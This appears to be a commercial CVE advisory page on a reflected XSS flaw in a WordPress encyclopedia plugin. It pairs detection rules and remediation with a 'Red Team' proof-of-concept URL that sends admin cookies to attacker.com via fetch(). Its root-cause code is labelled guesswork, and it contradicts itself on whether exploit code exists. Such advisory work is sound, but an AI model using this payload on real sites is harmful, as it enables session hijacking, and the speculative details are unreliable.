CVE-2024-49320
Executive Summary
CVE-2024-49320 is a reflected Cross-Site Scripting (XSS) vulnerability in the Encyclopedia / Glossary / Wiki WordPress plugin (slug: encyclopedia-lexicon-glossary-wiki-dictionary) by Dennis. The flaw exists in versions up to and including 1.7.60, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file (encyclopedia-lexicon-glossary-wiki-dictionary.php) by checking its SHA-256 hash against the official release. No known malicious packages have been reported in the supply chain.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., admin session).
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High (7.1) – Reflected XSS in a WordPress admin context can lead to full site compromise if an admin is targeted.
Deep Dive & Mechanics
The vulnerability resides in the plugin's search or parameter handling functionality. The plugin likely reflects user input (e.g., a search query or a shortcode parameter) directly into the HTML response without proper encoding. For example, a URL like:
https://target.com/wp-admin/admin.php?page=encyclopedia&search=<script>alert(1)</script>
would cause the <script> tag to be rendered in the admin page, executing arbitrary JavaScript. The plugin fails to use esc_html() or wp_kses() on the reflected parameter.
Root Cause: The plugin uses echo $_GET['search'] or similar without sanitization.
Attack Vector: An attacker sends a crafted link to a logged-in WordPress admin. When the admin clicks the link, the malicious script executes in the admin's browser, allowing the attacker to:
- Steal admin cookies (session hijacking).
- Create new admin users.
- Inject malicious content into posts/pages.
- Install backdoor plugins.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.7.60):
// In encyclopedia-lexicon-glossary-wiki-dictionary.php
$search = $_GET['search'];
echo '<div class="encyclopedia-search">' . $search . '</div>';
Patched Code (Hypothetical):
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<div class="encyclopedia-search">' . esc_html($search) . '</div>';
The patch uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit exists, craft a reflected XSS payload:
<!-- Malicious link to send to admin -->
https://target.com/wp-admin/admin.php?page=encyclopedia&search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Lab Setup:
- Install WordPress with the vulnerable plugin (version 1.7.60).
- Log in as an admin.
- Open a new tab and paste the crafted URL.
- Observe the script execution (e.g., a request to your attacker server).
Blue Team (Detection & Hardening)
- WAF Rule: Block requests containing
<script>in thesearchparameter. - Input Validation: Ensure the plugin developer releases a patch. In the interim, disable the plugin or use a security plugin like Wordfence to block reflected XSS.
- User Training: Educate admins not to click suspicious links.
Indicators of Compromise (IOCs)
- URL Pattern:
admin.php?page=encyclopedia&search=<script>... - HTTP Request: GET request to
/wp-admin/admin.phpwithpage=encyclopediaand asearchparameter containing HTML/JavaScript. - Log Entry: Access log showing
admin.php?page=encyclopedia&search=%3Cscript%3E(URL-encoded). - Cookie Theft: Outbound HTTP request to an external domain with
?cookie=parameter.
Detection Engineering
YARA Rule
rule CVE_2024_49320_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Encyclopedia / Glossary / Wiki plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-49320"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_param = "page=encyclopedia"
$search_param = "search="
condition:
$plugin_param and $search_param and $xss_payload
}
Sigma Rule
title: Reflected XSS in Encyclopedia Plugin
id: 8f7c3b2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects reflected XSS attempts against the Encyclopedia / Glossary / Wiki plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'page=encyclopedia'
- 'search='
cs-uri-query|re: '<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of HTML in search (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-49320 Reflected XSS in Encyclopedia Plugin"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=encyclopedia"; http_uri; content:"search="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the plugin until a patch is released.
- Short-term: Implement a Web Application Firewall (WAF) rule to block
searchparameters containing<script>. - Long-term: Apply the vendor patch when available (check WordPress plugin repository for updates).
- Compensating Controls: Use a security plugin (e.g., Wordfence) with XSS protection enabled.
- Monitoring: Review access logs for suspicious
admin.php?page=encyclopediarequests.
Valters IT
Securing WordPress ecosystems one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.